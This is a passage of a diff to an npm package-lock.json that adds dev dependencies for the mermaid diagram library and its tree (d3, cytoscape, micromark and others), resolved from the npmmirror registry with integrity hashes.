"@types/ms": { + "version": "0.7.31", + "resolved": "https://registry.npmmirror.com/@types/ms/-/ms-0.7.31.tgz", + "integrity": "sha512-iiUgKzV9AuaEkZqkOLDIvlQiL6ltuZd9tGcW3gwpnX8JbuiuhFlEGmmFXEXkN50Cvq7Os88IY2v0dkDqXYWVgA==", + "dev": true + }, "@types/prop-types": { "version": "15.7.5", "resolved": "https://registry.npmmirror.com/@types/prop-types/-/prop-types-15.7.5.tgz", @@ -4417,6 +5529,12 @@ "resolved": "https://registry.npmmirror.com/@types/scheduler/-/scheduler-0.16.3.tgz", "integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==" }, + "@types/unist": { + "version": "2.0.7", + "resolved": "https://registry.npmmirror.com/@types/unist/-/unist-2.0.7.tgz", + "integrity": "sha512-cputDpIbFgLUaGQn6Vqg3/YsJwxUwHLO13v3i5ouxT4lat0khip9AEWxtERujXV9wxIB1EyF97BSJFt6vpdI8g==", + "dev": true + }, "@types/web-bluetooth": { "version": "0.0.17", "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.17.tgz", @@ -4656,6 +5774,12 @@ "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", "dev": true }, + "character-entities": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/character-entities/-/character-entities-2.0.2.tgz", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "dev": true + }, "cheerio": { "version": "1.0.0-rc.10", "resolved": "https://registry.npmmirror.com/cheerio/-/cheerio-1.0.0-rc.10.tgz", @@ -4711,6 +5835,15 @@ "validate.io-integer-array": "^1.0.0" } }, + "cose-base": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/cose-base/-/cose-base-1.0.3.tgz", + "integrity": "sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg==", + "dev": true, + "requires": { + "layout-base": "^1.0.0" + } + }, "cross-env": { "version": "7.0.3", "resolved": "https://registry.npmmirror.com/cross-env/-/cross-env-7.0.3.tgz", @@ -4761,11 +5894,413 @@ "resolved": "https://repo.huaweicloud.com/repository/npm/csstype/-/csstype-3.1.2.tgz", "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==" }, + "cytoscape": { + "version": "3.25.0", + "resolved": "https://registry.npmmirror.com/cytoscape/-/cytoscape-3.25.0.tgz", + "integrity": "sha512-7MW3Iz57mCUo6JQCho6CmPBCbTlJr7LzyEtIkutG255HLVd4XuBg2I9BkTZLI/e4HoaOB/BiAzXuQybQ95+r9Q==", + "dev": true, + "requires": { + "heap": "^0.2.6", + "lodash": "^4.17.21" + } + }, + "cytoscape-cose-bilkent": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/cytoscape-cose-bilkent/-/cytoscape-cose-bilkent-4.1.0.tgz", + "integrity": "sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ==", + "dev": true, + "requires": { + "cose-base": "^1.0.0" + } + }, + "cytoscape-fcose": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/cytoscape-fcose/-/cytoscape-fcose-2.2.0.tgz", + "integrity": "sha512-ki1/VuRIHFCzxWNrsshHYPs6L7TvLu3DL+TyIGEsRcvVERmxokbf5Gdk7mFxZnTdiGtnA4cfSmjZJMviqSuZrQ==", + "dev": true, + "requires": { + "cose-base": "^2.2.0" + }, + "dependencies": { + "cose-base": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/cose-base/-/cose-base-2.2.0.tgz", + "integrity": "sha512-AzlgcsCbUMymkADOJtQm3wO9S3ltPfYOFD5033keQn9NJzIbtnZj+UdBJe7DYml/8TdbtHJW3j58SOnKhWY/5g==", + "dev": true, + "requires": { + "layout-base": "^2.0.0" + } + }, + "layout-base": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/layout-base/-/layout-base-2.0.1.tgz", + "integrity": "sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg==", + "dev": true + } + } + }, + "d3": { + "version": "7.8.5", + "resolved": "https://registry.npmmirror.com/d3/-/d3-7.8.5.tgz", + "integrity": "sha512-JgoahDG51ncUfJu6wX/1vWQEqOflgXyl4MaHqlcSruTez7yhaRKR9i8VjjcQGeS2en/jnFivXuaIMnseMMt0XA==", + "dev": true, + "requires": { + "d3-array": "3", + "d3-axis": "3", + "d3-brush": "3", + "d3-chord": "3", + "d3-color": "3", + "d3-contour": "4", + "d3-delaunay": "6", + "d3-dispatch": "3", + "d3-drag": "3", + "d3-dsv": "3", + "d3-ease": "3", + "d3-fetch": "3", + "d3-force": "3", + "d3-format": "3", + "d3-geo": "3", + "d3-hierarchy": "3", + "d3-interpolate": "3", + "d3-path": "3", + "d3-polygon": "3", + "d3-quadtree": "3", + "d3-random": "3", + "d3-scale": "4", + "d3-scale-chromatic": "3", + "d3-selection": "3", + "d3-shape": "3", + "d3-time": "3", + "d3-time-format": "4", + "d3-timer": "3", + "d3-transition": "3", + "d3-zoom": "3" + } + }, + "d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmmirror.com/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "dev": true, + "requires": { + "internmap": "1 - 2" + } + }, + "d3-axis": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-axis/-/d3-axis-3.0.0.tgz", + "integrity": "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==", + "dev": true + }, + "d3-brush": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-brush/-/d3-brush-3.0.0.tgz", + "integrity": "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==", + "dev": true, + "requires": { + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "3", + "d3-transition": "3" + } + }, + "d3-chord": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-chord/-/d3-chord-3.0.1.tgz", + "integrity": "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==", + "dev": true, + "requires": { + "d3-path": "1 - 3" + } + }, + "d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "dev": true + }, + "d3-contour": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/d3-contour/-/d3-contour-4.0.2.tgz", + "integrity": "sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA==", + "dev": true, + "requires": { + "d3-array": "^3.2.0" + } + }, + "d3-delaunay": { + "version": "6.0.4", + "resolved": "https://registry.npmmirror.com/d3-delaunay/-/d3-delaunay-6.0.4.tgz", + "integrity": "sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A==", + "dev": true, + "requires": { + "delaunator": "5" + } + }, + "d3-dispatch": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-dispatch/-/d3-dispatch-3.0.1.tgz", + "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==", + "dev": true + }, + "d3-drag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-drag/-/d3-drag-3.0.0.tgz", + "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==", + "dev": true, + "requires": { + "d3-dispatch": "1 - 3", + "d3-selection": "3" + } + }, + "d3-dsv": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-dsv/-/d3-dsv-3.0.1.tgz", + "integrity": "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==", + "dev": true, + "requires": { + "commander": "7", + "iconv-lite": "0.6", + "rw": "1" + }, + "dependencies": { + "commander": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true + } + } + }, + "d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "dev": true + }, + "d3-fetch": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-fetch/-/d3-fetch-3.0.1.tgz", + "integrity": "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==", + "dev": true, + "requires": { + "d3-dsv": "1 - 3" + } + }, + "d3-force": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-force/-/d3-force-3.0.0.tgz", + "integrity": "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==", + "dev": true, + "requires": { + "d3-dispatch": "1 - 3", + "d3-quadtree": "1 - 3", + "d3-timer": "1 - 3" + } + }, + "d3-format": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/d3-format/-/d3-format-3.1.0.tgz", + "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", + "dev": true + }, + "d3-geo": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/d3-geo/-/d3-geo-3.1.0.tgz", + "integrity": "sha512-JEo5HxXDdDYXCaWdwLRt79y7giK8SbhZJbFWXqbRTolCHFI5jRqteLzCsq51NKbUoX0PjBVSohxrx+NoOUujYA==", + "dev": true, + "requires": { + "d3-array": "2.5.0 - 3" + } + }, + "d3-hierarchy": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/d3-hierarchy/-/d3-hierarchy-3.1.2.tgz", + "integrity": "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==", + "dev": true + }, + "d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "dev": true, + "requires": { + "d3-color": "1 - 3" + } + }, + "d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "dev": true + }, + "d3-polygon": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-polygon/-/d3-polygon-3.0.1.tgz", + "integrity": "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==", + "dev": true + }, + "d3-quadtree": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-quadtree/-/d3-quadtree-3.0.1.tgz", + "integrity": "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==", + "dev": true + }, + "d3-random": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-random/-/d3-random-3.0.1.tgz", + "integrity": "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==", + "dev": true + }, + "d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "dev": true, + "requires": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + } + }, + "d3-scale-chromatic": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-scale-chromatic/-/d3-scale-chromatic-3.0.0.tgz", + "integrity": "sha512-Lx9thtxAKrO2Pq6OO2Ua474opeziKr279P/TKZsMAhYyNDD3EnCffdbgeSYN5O7m2ByQsxtuP2CSDczNUIZ22g==", + "dev": true, + "requires": { + "d3-color": "1 - 3", + "d3-interpolate": "1 - 3" + } + }, + "d3-selection": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-selection/-/d3-selection-3.0.0.tgz", + "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==", + "dev": true + }, + "d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "dev": true, + "requires": { + "d3-path": "^3.1.0" + } + }, + "d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "dev": true, + "requires": { + "d3-array": "2 - 3" + } + }, + "d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "dev": true, + "requires": { + "d3-time": "1 - 3" + } + }, + "d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "dev": true + }, + "d3-transition": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/d3-transition/-/d3-transition-3.0.1.tgz", + "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==", + "dev": true, + "requires": { + "d3-color": "1 - 3", + "d3-dispatch": "1 - 3", + "d3-ease": "1 - 3", + "d3-interpolate": "1 - 3", + "d3-timer": "1 - 3" + } + }, + "d3-zoom": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/d3-zoom/-/d3-zoom-3.0.0.tgz", + "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==", + "dev": true, + "requires": { + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "2 - 3", + "d3-transition": "2 - 3" + } + }, + "dagre-d3-es": { + "version": "7.0.10", + "resolved": "https://registry.npmmirror.com/dagre-d3-es/-/dagre-d3-es-7.0.10.tgz", + "integrity": "sha512-qTCQmEhcynucuaZgY5/+ti3X/rnszKZhEQH/ZdWdtP1tA/y3VoHJzcVrO9pjjJCNpigfscAtoUB5ONcd2wNn0A==", + "dev": true, + "requires": { + "d3": "^7.8.2", + "lodash-es": "^4.17.21" + } + }, + "dayjs": { + "version": "1.11.9", + "resolved": "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.9.tgz", + "integrity": "sha512-QvzAURSbQ0pKdIye2txOzNaHmxtUBXerpY0FJsFXUMKbIZeFm5ht1LS/jFsrncjnmtv8HsG0W2g6c0zUjZWmpA==", + "dev": true + }, + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "decode-named-character-reference": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/decode-named-character-reference/-/decode-named-character-reference-1.0.2.tgz", + "integrity": "sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==", + "dev": true, + "requires": { + "character-entities": "^2.0.0" + } + }, "deepmerge": { "version": "4.3.1", "resolved": "https://registry.npmmirror.com/deepmerge/-/deepmerge-4.3.1.tgz", "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==" }, + "delaunator": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/delaunator/-/delaunator-5.0.0.tgz", + "integrity": "sha512-AyLvtyJdbv/U1GkiS6gUUzclRoAY4Gs75qkMygJJhU75LW4DNuSF2RMzpxs9jw9Oz1BobHjTdkG3zdP55VxAqw==", + "dev": true, + "requires": { + "robust-predicates": "^3.0.0" + } + }, + "dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "dev": true + }, + "diff": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/diff/-/diff-5.1.0.tgz", + "integrity": "sha512-D+mk+qE8VC/PAUrlAU34N+VfXev0ghe5ywmpqrawphmVZc1bEfn56uo9qpyGp1p4xpzOHkSW4ztBd6L7Xx4ACw==", + "dev": true + }, "dom-serializer": { "version": "1.4.1", "resolved": "https://registry.npmmirror.com/dom-serializer/-/dom-serializer-1.4.1.tgz", @@ -4789,6 +6324,12 @@ "domelementtype": "^2.2.0" } }, + "dompurify": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/dompurify/-/dompurify-3.0.3.tgz", + "integrity": "sha512-axQ9zieHLnAnHh0sfAamKYiqXMJAVwu+LM/alQ7WDagoWessyWvMSFyW65CqF3owufNu8HBcE4cM2Vflu7YWcQ==", + "dev": true + }, "domutils": { "version": "2.8.0", "resolved": "https://registry.npmmirror.com/domutils/-/domutils-2.8.0.tgz", @@ -4799,6 +6340,12 @@ "domhandler": "^4.2.0" } }, + "elkjs": { + "version": "0.8.2", + "resolved": "https://registry.npmmirror.com/elkjs/-/elkjs-0.8.2.tgz", + "integrity": "sha512-L6uRgvZTH+4OF5NE/MBbzQx/WYpru1xCBE9respNj6qznEewGUIfhzmm7horWWxbNO2M0WckQypGctR8lH79xQ==", + "dev": true + }, "entities": { "version": "2.2.0", "resolved": "https://registry.npmmirror.com/entities/-/entities-2.2.0.tgz", @@ -4883,6 +6430,12 @@ "dev": true, "optional": true }, + "heap": { + "version": "0.2.7", + "resolved": "https://registry.npmmirror.com/heap/-/heap-0.2.7.tgz", + "integrity": "sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==", + "dev": true + }, "htmlparser2": { "version": "6.1.0", "resolved": "https://registry.npmmirror.com/htmlparser2/-/htmlparser2-6.1.0.tgz", @@ -4894,6 +6447,21 @@ "entities": "^2.0.0" } }, + "iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmmirror.com/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "requires": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + } + }, + "internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "dev": true + }, "is-plain-object": { "version": "5.0.0", "resolved": "https://registry.npmmirror.com/is-plain-object/-/is-plain-object-5.0.0.tgz", @@ -4967,6 +6535,24 @@ "web-resource-inliner": "^6.0.1" } }, + "khroma": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/khroma/-/khroma-2.0.0.tgz", + "integrity": "sha512-2J8rDNlQWbtiNYThZRvmMv5yt44ZakX+Tz5ZIp/mN1pt4snn+m030Va5Z4v8xA0cQFDXBwO/8i42xL4QPsVk3g==", + "dev": true + }, + "kleur": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/kleur/-/kleur-4.1.5.tgz", + "integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==", + "dev": true + }, + "layout-base": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/layout-base/-/layout-base-1.0.2.tgz", + "integrity": "sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg==", + "dev": true + }, "lib0": { "version": "0.2.78", "resolved": "https://registry.npmmirror.com/lib0/-/lib0-0.2.78.tgz", @@ -5067,6 +6653,35 @@ "speech-rule-engine": "^4.0.6" } }, + "mdast-util-from-markdown": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/mdast-util-from-markdown/-/mdast-util-from-markdown-1.3.1.tgz", + "integrity": "sha512-4xTO/M8c82qBcnQc1tgpNtubGUW/Y1tBQ1B0i5CtSoelOLKFYlElIr3bvgREYYO5iRqbMY1YuqZng0GVOI8Qww==", + "dev": true, + "requires": { + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "mdast-util-to-string": "^3.1.0", + "micromark": "^3.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-decode-string": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "unist-util-stringify-position": "^3.0.0", + "uvu": "^0.5.0" + } + }, + "mdast-util-to-string": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/mdast-util-to-string/-/mdast-util-to-string-3.2.0.tgz", + "integrity": "sha512-V4Zn/ncyN1QNSqSBxTrMOLpjr+IKdHl2v3KVLoWmDPscP4r9GcCi71gjgvUV1SFSKh92AjAG4peFuBl2/YgCJg==", + "dev": true, + "requires": { + "@types/mdast": "^3.0.0" + } + }, "mdurl": { "version": "1.0.1", "resolved": "https://registry.npmmirror.com/mdurl/-/mdurl-1.0.1.tgz", @@ -5078,12 +6693,269 @@ "integrity": "sha512-IAeFvcOnV9V0Yk+bFhYR07O3yNina9ANIN5MoXBKYJ/RLYPurd2d0yw14MDhpr9/momp0WofT1bPUh3hkzdi/g==", "dev": true }, + "mermaid": { + "version": "10.2.4", + "resolved": "https://registry.npmmirror.com/mermaid/-/mermaid-10.2.4.tgz", + "integrity": "sha512-zHGjEI7lBvWZX+PQYmlhSA2p40OzW6QbGodTCSzDeVpqaTnyAC+2sRGqrpXO+uQk3CnoeClHQPraQUMStdqy2g==", + "dev": true, + "requires": { + "@braintree/sanitize-url": "^6.0.2", + "cytoscape": "^3.23.0", + "cytoscape-cose-bilkent": "^4.1.0", + "cytoscape-fcose": "^2.1.0", + "d3": "^7.4.0", + "dagre-d3-es": "7.0.10", + "dayjs": "^1.11.7", + "dompurify": "3.0.3", + "elkjs": "^0.8.2", + "khroma": "^2.0.0", + "lodash-es": "^4.17.21", + "mdast-util-from-markdown": "^1.3.0", + "non-layered-tidy-tree-layout": "^2.0.2", + "stylis": "^4.1.3", + "ts-dedent": "^2.2.0", + "uuid": "^9.0.0", + "web-worker": "^1.2.0" + } + }, "mhchemparser": { "version": "4.1.1", "resolved": "https://registry.npmmirror.com/mhchemparser/-/mhchemparser-4.1.1.tgz", "integrity": "sha512-R75CUN6O6e1t8bgailrF1qPq+HhVeFTM3XQ0uzI+mXTybmphy3b6h4NbLOYhemViQ3lUs+6CKRkC3Ws1TlYREA==", "dev": true }, + "micromark": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/micromark/-/micromark-3.2.0.tgz", + "integrity": "sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==", + "dev": true, + "requires": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "micromark-core-commonmark": "^1.0.1", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-chunked": "^1.0.0", + "micromark-util-combine-extensions": "^1.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-encode": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-resolve-all": "^1.0.0", + "micromark-util-sanitize-uri": "^1.0.0", + "micromark-util-subtokenize": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.1", + "uvu": "^0.5.0" + } + }, + "micromark-core-commonmark": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-core-commonmark/-/micromark-core-commonmark-1.1.0.tgz", + "integrity": "sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==", + "dev": true, + "requires": { + "decode-named-character-reference": "^1.0.0", + "micromark-factory-destination": "^1.0.0", + "micromark-factory-label": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-factory-title": "^1.0.0", + "micromark-factory-whitespace": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-chunked": "^1.0.0", + "micromark-util-classify-character": "^1.0.0", + "micromark-util-html-tag-name": "^1.0.0", + "micromark-util-normalize-identifier": "^1.0.0", + "micromark-util-resolve-all": "^1.0.0", + "micromark-util-subtokenize": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.1", + "uvu": "^0.5.0" + } + }, + "micromark-factory-destination": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-factory-destination/-/micromark-factory-destination-1.1.0.tgz", + "integrity": "sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==", + "dev": true, + "requires": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "micromark-factory-label": { + "version": "1.1.0", + "resolved": 